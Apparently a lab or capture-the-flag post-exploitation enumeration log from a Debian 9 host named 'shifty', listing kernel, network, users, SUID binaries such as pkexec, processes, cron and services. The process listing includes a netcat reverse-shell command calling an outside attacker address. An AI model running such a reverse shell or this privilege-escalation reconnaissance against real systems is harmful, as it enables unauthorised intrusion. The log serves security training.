System/Kernel


jerry@shifty:~/my-ripper-flask-app$ uname -a ; cat /etc/*release
Linux shifty 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1+deb9u1 (2020-06-07) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
NAME="Debian GNU/Linux"
VERSION_ID="9"
VERSION="9 (stretch)"
VERSION_CODENAME=stretch
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
  • 4.9.0-12-amd64
  • x86_64
  • Debian GNU/Linux 9 (stretch)

Networks


jerry@shifty:~/my-ripper-flask-app$ ip route ; arp -a
default via 192.168.219.254 dev ens192 onlink 
192.168.219.0/24 dev ens192 proto kernel scope link src 192.168.219.59 
? (192.168.219.254) at 00:50:56:9e:59:95 [ether] on ens192
jerry@shifty:~/my-ripper-flask-app$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:11211           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      535/python3         
tcp        0      0 127.0.0.1:43096         127.0.0.1:11211         ESTABLISHED 535/python3         
tcp        0      0 127.0.0.1:11211         127.0.0.1:43096         ESTABLISHED -                   
tcp        0    301 192.168.219.59:51472    192.168.45.153:5000     ESTABLISHED 10936/nc            
tcp        0      0 192.168.219.59:5000     192.168.45.153:59812    ESTABLISHED 535/python3         

Users & Groups


jerry@shifty:~/my-ripper-flask-app$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
Debian-exim:x:105:109::/var/spool/exim4:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
jerry:x:1000:1000:jerry,,,:/home/jerry:/bin/bash
memcache:x:108:112:Memcached,,,:/nonexistent:/bin/false
total 12K
4.0K drwxr-xr-x  3 jerry jerry 4.0K Jul  9  2020 jerry
4.0K drwxr-xr-x  3 root  root  4.0K May 25  2020 .
4.0K drwxr-xr-x 22 root  root  4.0K May 25  2020 ..
jerry@shifty:~/my-ripper-flask-app$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=101(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=102(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=103(systemd-bus-proxy) gid=105(systemd-bus-proxy) groups=105(systemd-bus-proxy)
uid=104(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=105(Debian-exim) gid=109(Debian-exim) groups=109(Debian-exim)
uid=106(messagebus) gid=110(messagebus) groups=110(messagebus)
uid=107(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(jerry) gid=1000(jerry) groups=1000(jerry),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
uid=108(memcache) gid=112(memcache) groups=112(memcache)

uid=1000(jerry) gid=1000(jerry) groups=1000(jerry),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

SUIDs


jerry@shifty:~/my-ripper-flask-app$ find / -perm -04000 -ls -type f 2>/dev/null
   271678    432 -rwsr-xr-x   1 root     root       440728 Jul 15  2019 /usr/lib/openssh/ssh-keysign
   273831     16 -rwsr-xr-x   1 root     root        14856 Dec  6  2018 /usr/lib/policykit-1/polkit-agent-helper-1
   268598     44 -rwsr-xr--   1 root     messagebus    42992 Jun  9  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   137059     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
     7784    996 -rwsr-xr-x   1 root     root        1019656 May 13  2020 /usr/sbin/exim4
     2953     40 -rwsr-xr-x   1 root     root          40312 May 17  2017 /usr/bin/newgrp
    11919     24 -rwsr-xr-x   1 root     root          23352 Dec  6  2018 /usr/bin/pkexec
       91     76 -rwsr-xr-x   1 root     root          75792 May 17  2017 /usr/bin/gpasswd
       88     52 -rwsr-xr-x   1 root     root          50040 May 17  2017 /usr/bin/chfn
       92     60 -rwsr-xr-x   1 root     root          59680 May 17  2017 /usr/bin/passwd
       89     40 -rwsr-xr-x   1 root     root          40504 May 17  2017 /usr/bin/chsh
   131409     44 -rwsr-xr-x   1 root     root          44304 Mar  7  2018 /bin/mount
   131410     32 -rwsr-xr-x   1 root     root          31720 Mar  7  2018 /bin/umount
   132080     60 -rwsr-xr-x   1 root     root          61240 Nov 10  2016 /bin/ping
   131394     40 -rwsr-xr-x   1 root     root          40536 May 17  2017 /bin/su
   143590     32 -rwsr-xr-x   1 root     root          30800 Aug 21  2018 /bin/fusermount
  • 273831 16 -rwsr-xr-x 1 root root 14856 Dec 6 2018 /usr/lib/policykit-1/polkit-agent-helper-1
  • 11919 24 -rwsr-xr-x 1 root root 23352 Dec 6 2018 /usr/bin/pkexec

SGIDs


jerry@shifty:~/my-ripper-flask-app$ find / -type f -perm -02000 -ls 2>/dev/null
   131212     36 -rwxr-sr-x   1 root     shadow      35592 May 27  2017 /sbin/unix_chkpwd
       90     24 -rwxr-sr-x   1 root     shadow      22808 May 17  2017 /usr/bin/expiry
      950     28 -rwxr-sr-x   1 root     tty         27448 Mar  7  2018 /usr/bin/wall
     4212     16 -rwxr-sr-x   1 root     tty         14768 Apr 12  2017 /usr/bin/bsd-write
     4836     40 -rwxr-sr-x   1 root     crontab     40264 Oct  7  2017 /usr/bin/crontab
    11266     12 -rwxr-sr-x   1 root     mail        10952 Dec 24  2016 /usr/bin/dotlock.mailutils
     9194    352 -rwxr-sr-x   1 root     ssh        358624 Jul 15  2019 /usr/bin/ssh-agent
     8000     20 -rwxr-sr-x   1 root     mail        19008 Jan 17  2017 /usr/bin/dotlockfile
       87     72 -rwxr-sr-x   1 root     shadow      71856 May 17  2017 /usr/bin/chage

Capabilities


jerry@shifty:~/my-ripper-flask-app$ /usr/sbin/getcap -r / 2>/dev/null

Processes


jerry@shifty:~/my-ripper-flask-app$ ps -auxwww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.3  56844  6620 ?        Ss   04:48   0:00 /sbin/init
root       241  0.1  0.3  59432  8056 ?        Ss   04:48   0:16 /lib/systemd/systemd-journald
root       244  0.0  0.5 214176 11732 ?        Ssl  04:48   0:03 /usr/bin/vmtoolsd
root       275  0.0  0.2  46660  4832 ?        Ss   04:48   0:00 /lib/systemd/systemd-udevd
systemd+   431  0.0  0.1 127284  4060 ?        Ssl  04:48   0:00 /lib/systemd/systemd-timesyncd
root       433  0.0  0.8 153504 18368 ?        Ss   04:48   0:00 /usr/bin/VGAuthService
root       434  0.0  0.1 250112  3852 ?        Ssl  04:48   0:06 /usr/sbin/rsyslogd -n
root       436  0.0  0.1  29636  2812 ?        Ss   04:48   0:00 /usr/sbin/cron -f
root       437  0.0  0.2  37980  4456 ?        Ss   04:48   0:00 /lib/systemd/systemd-logind
message+   438  0.0  0.1  45128  3728 ?        Ss   04:48   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
jerry      535  2.2  6.8 687796 141356 ?       Ssl  04:48   3:41 /home/jerry/my-ripper-flask-app/env/bin/python3 /home/jerry/my-ripper-flask-app/env/bin/flask run --host=0.0.0.0
memcache   536  0.1  2.3 438592 48588 ?        Ssl  04:48   0:17 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 0.0.0.0
root       548  0.0  0.0  14524  1688 tty1     Ss+  04:48   0:00 /sbin/agetty --noclear tty1 linux
root       557  0.0  0.0 159540  1624 ?        Ss   04:48   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
www-data   558  0.0  0.2 160148  4792 ?        S    04:48   0:08 nginx: worker process
root       570  0.0  0.3  69956  6236 ?        Ss   04:48   0:00 /usr/sbin/sshd -D
jerry    10934  0.0  0.0   4276   736 ?        S    07:26   0:00 sh -c mkfifo /tmp/crmj; nc 192.168.45.153 5000 0</tmp/crmj | /bin/sh >/tmp/crmj 2>&1; rm /tmp/crmj
jerry    10936  0.0  0.0   6300  1652 ?        S    07:26   0:00 nc 192.168.45.153 5000
jerry    10937  0.0  0.0   4276   752 ?        S    07:26   0:00 /bin/sh
jerry    10941  0.0  0.1  20572  2304 ?        S    07:29   0:00 script /dev/null -c bash
jerry    10942  0.0  0.2  20912  4780 pts/0    Ss   07:29   0:00 bash
jerry    10993  0.0  0.1  38304  3240 pts/0    R+   07:32   0:00 ps -auxwww
  • root 436 0.0 0.1 29636 2812 ? Ss 04:48 0:00 /usr/sbin/cron -f
  • jerry 535 2.2 6.8 687796 141356 ? Ssl 04:48 3:41 /home/jerry/my-ripper-flask-app/env/bin/python3 /home/jerry/my-ripper-flask-app/env/bin/flask run --host=0.0.0.0
  • memcache 536 0.1 2.3 438592 48588 ? Ssl 04:48 0:17 /usr/bin/memcached -m 64 -p 11211 -u memcache -l 0.0.0.0

Cron & Systemd


jerry@shifty:~/my-ripper-flask-app$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for jerry
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                         LEFT          LAST                         PASSED  
Wed 2025-03-05 13:25:45 EST  5h 52min left Wed 2025-03-05 04:48:02 EST  2h 45min
Thu 2025-03-06 05:03:40 EST  21h left      Wed 2025-03-05 05:03:40 EST  2h 29min
Thu 2025-03-06 06:55:35 EST  23h left      Wed 2025-03-05 06:07:40 EST  1h 25min
 
3 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-7/7 (END)  

Services


jerry@shifty:~/my-ripper-flask-app$ systemctl list-units --state=running
UNIT                             LOAD   ACTIVE SUB     DESCRIPTION              
proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable Fil
init.scope                       loaded active running System and Service Manage
cron.service                     loaded active running Regular background progra
dbus.service                     loaded active running D-Bus System Message Bus 
flask.service                    loaded active running Flask Hello World        
getty@tty1.service               loaded active running Getty on tty1            
memcached.service                loaded active running memcached daemon         
nginx.service                    loaded active running A high performance web se
open-vm-tools.service            loaded active running Service for virtual machi
rsyslog.service                  loaded active running System Logging Service   
ssh.service                      loaded active running OpenBSD Secure Shell serv
systemd-journald.service         loaded active running Journal Service          
systemd-logind.service           loaded active running Login Service            
systemd-timesyncd.service        loaded active running Network Time Synchronizat
systemd-udevd.service            loaded active running udev Kernel Device Manage
vgauth.service                   loaded active running Authentication service fo
dbus.socket                      loaded active running D-Bus System Message Bus 
syslog.socket                    loaded active running Syslog Socket            
systemd-journald-audit.socket    loaded active running Journal Audit Socket     
systemd-journald-dev-log.socket  loaded active running Journal Socket (/dev/log)
systemd-journald.socket          loaded active running Journal Socket           
systemd-udevd-control.socket     loaded active running udev Control Socket      
systemd-udevd-kernel.socket      loaded active running udev Kernel Socket       
 
LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.
 
23 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.
lines 9-31/31 (END)   

Sudo Version


jerry@shifty:~/my-ripper-flask-app$ sudo --version
bash: sudo: command not found

Glibc Version


jerry@shifty:~/my-ripper-flask-app$ ldd --version
ldd (Debian GLIBC 2.24-11+deb9u4) 2.24
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Debian GLIBC 2.24-11+deb9u4) 2.24